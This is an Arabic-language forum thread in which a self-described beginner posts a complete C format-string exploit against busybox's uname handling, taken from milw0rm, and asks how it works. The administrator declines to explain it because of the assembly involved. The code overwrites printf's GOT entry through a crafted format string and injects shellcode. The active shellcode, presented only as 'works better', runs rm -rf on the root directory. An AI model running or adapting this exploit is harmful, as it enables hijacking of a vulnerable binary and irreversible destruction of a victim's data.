Programming Freaks  | دورات ومقالات برمجيه

Please login or register.

Login with username, password and session length
Advanced search  

News:

Programming-Fr34ks.net
Up and running

Author Topic: busybox uname format string exploit 2008  (Read 1051 times)

maxim

  • Just Joined
  • *
  • Posts: 1
    • View Profile
busybox uname format string exploit 2008
« on: January 05, 2009, 06:04:02 PM »

السلام عليكم

ممكن يا جماعة واحد يتفضل و يشرحلنا عمل الثغرة دى و كيفية استغلالها

لانى لسه مبتدأ فى السى و اختها

تفضلو الثغرة 

Code: ($2) [Select]

#include <stdio.h>
#include <string.h>
#include <sys/utsname.h>

#define OVERWRITE_ADDR 0x080e25b0 /* printf GOT address */
#define SHELLCODE_ADDR 0xbffffb70 /* where to write the shellcode */
#define PADDING_LEN 2
#define FMT_LEN (sizeof(sc)/2)+2

char sc[] =
  // This shellcode works better
  "\x6a\x0b\x58\x99\x52\x6a\x2f\x89\xe7\x52\x66\x68\x2d\x66\x89"
  "\xe6\x52\x66\x68\x2d\x72\x89\xe1\x52\x68\x2f\x2f\x72\x6d\x68"
  "\x2f\x62\x69\x6e\x89\xe3\x52\x57\x56\x51\x53\x89\xe1\xcd\x80";

 /*
  "\x6a\x0b"                  // push   $0xb
  "\x58"                        // pop    %eax
  "\x99"                        // cltd
  "\x52"                        // push   %edx
  "\x68\x2f\x2f\x73\x68"        // push   $0x68732f2f
  "\x68\x2f\x62\x69\x6e"        // push   $0x6e69622f
  "\x89\xe3"                    // mov    %esp, %ebx
  "\x52"                        // push   %edx
  "\x53"                        // push   %ebx
  "\x89\xe1"                    // mov    %esp, %ecx
  "\xcd\x80";                   // int    $0x80
 */

char *put_addr(char *p, unsigned int addr);
char *build_fmt(char *p);

int uname(struct utsname *buf)
{
char *ptr;

ptr = (char *) &buf->sysname;
build_fmt(ptr);

return 0;
}

char *put_addr(char *p, unsigned int addr)
{
*p++ = (addr & 0x000000ff);
*p++ = (addr & 0x0000ff00) >> 8;
*p++ = (addr & 0x00ff0000) >> 16;
*p++ = (addr & 0xff000000) >> 24;

return p;
}

char *build_fmt(char *p)
{
struct shellcode_short {
unsigned short value;
unsigned long addr;
} shellcode[FMT_LEN], temp;

unsigned short *ptr;
unsigned long start;
int i, o, written;

start = SHELLCODE_ADDR;
ptr = (unsigned short *) &sc;
for(i=0;i<FMT_LEN-2;i++, start+=2, ptr++) {
shellcode[i].value = *ptr;
shellcode[i].addr = start;
}

shellcode[FMT_LEN-2].addr  = OVERWRITE_ADDR;
shellcode[FMT_LEN-2].value = (SHELLCODE_ADDR & 0x0000ffff);

shellcode[FMT_LEN-1].addr  = OVERWRITE_ADDR + 2;
shellcode[FMT_LEN-1].value = (SHELLCODE_ADDR & 0xffff0000) >> 16;

for(o=0;o<((FMT_LEN)-1);o++) {
for(i=0;i<((FMT_LEN)-1-o);i++) {
if(shellcode[i+1].value < shellcode[i].value) {
temp.addr  = shellcode[i].addr;
temp.value = shellcode[i].value;

shellcode[i].addr  = shellcode[i+1].addr;
shellcode[i].value = shellcode[i+1].value;

shellcode[i+1].addr  = temp.addr;
shellcode[i+1].value = temp.value;
}
}
}

for(i=0;i<PADDING_LEN;i++)
*p++ = '\x41';

for(i=0;i<FMT_LEN;i++)
p = put_addr(p, shellcode[i].addr);

written = (FMT_LEN)*4 + PADDING_LEN;
for(i=0;i<FMT_LEN;i++) {
p += sprintf(p, "%%%d$%uu%%%d$hn", i + 2,
shellcode[i].value - written, i + 2);
written = shellcode[i].value;
}

return p;
}





الرابط الاصلى


http://www.milw0rm.com/exploits/5978

و شكرا
« Last Edit: January 10, 2009, 09:39:33 AM by St0rM »
Logged

St0rM

  • [C programmer]
  • Administrator
  • Active Member
  • *****
  • Posts: 214
  • Why So serious ?
    • View Profile
    • My blog | This fucking story
    • Email
Re: busybox uname format string exploit 2008
« Reply #1 on: February 09, 2009, 06:00:26 AM »

لو بتدور علي طريقة الاستخدام موجوده في التسكت بتاع الثغره
لو بتدور علي شرح للاسف مقدرش افيدك دلوقتي بالتحديد , لان ببساطه فيها شغل asm كتير جدا
Logged